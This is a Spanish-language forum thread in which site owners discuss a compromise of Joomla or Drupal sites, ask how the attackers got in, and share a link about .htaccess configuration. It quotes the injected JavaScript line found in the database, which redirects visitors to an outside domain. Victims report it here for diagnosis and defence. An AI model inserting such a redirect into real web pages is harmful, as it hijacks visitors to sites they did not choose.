Si se aloja dentro de la BBDD afectaría solo aquella tabla que estuviera insertada. Como habrás leído el problema es en todo el dominio.
Os dejo un enlace donde ofrecen un punto de vista más interesante: http://www.hard-h2o.com/vertema/134248/creacion-htaccess-en-joomla-automaticamente.html
Saludos
Cita:
Iniciado por arcm 
Ya somos unos cuantos con el mismo problema.
Tened cuidado, porque donde se aloja el código:
Código:
document.location.href='http://yagizmo.com/'+Math.floor(Math.random()*10000)
es dentro de la base de datos, por lo que restaurando la BBDD de MySQL la web vuelve a funcionar sin problema, aunque sigue siendo vulnerable,
¿Alguien sabe de dónde viene la vulnerabilidad? ¿De alguna versión concreta de joomla o drupal? ¿De algún virus?
Un saludo,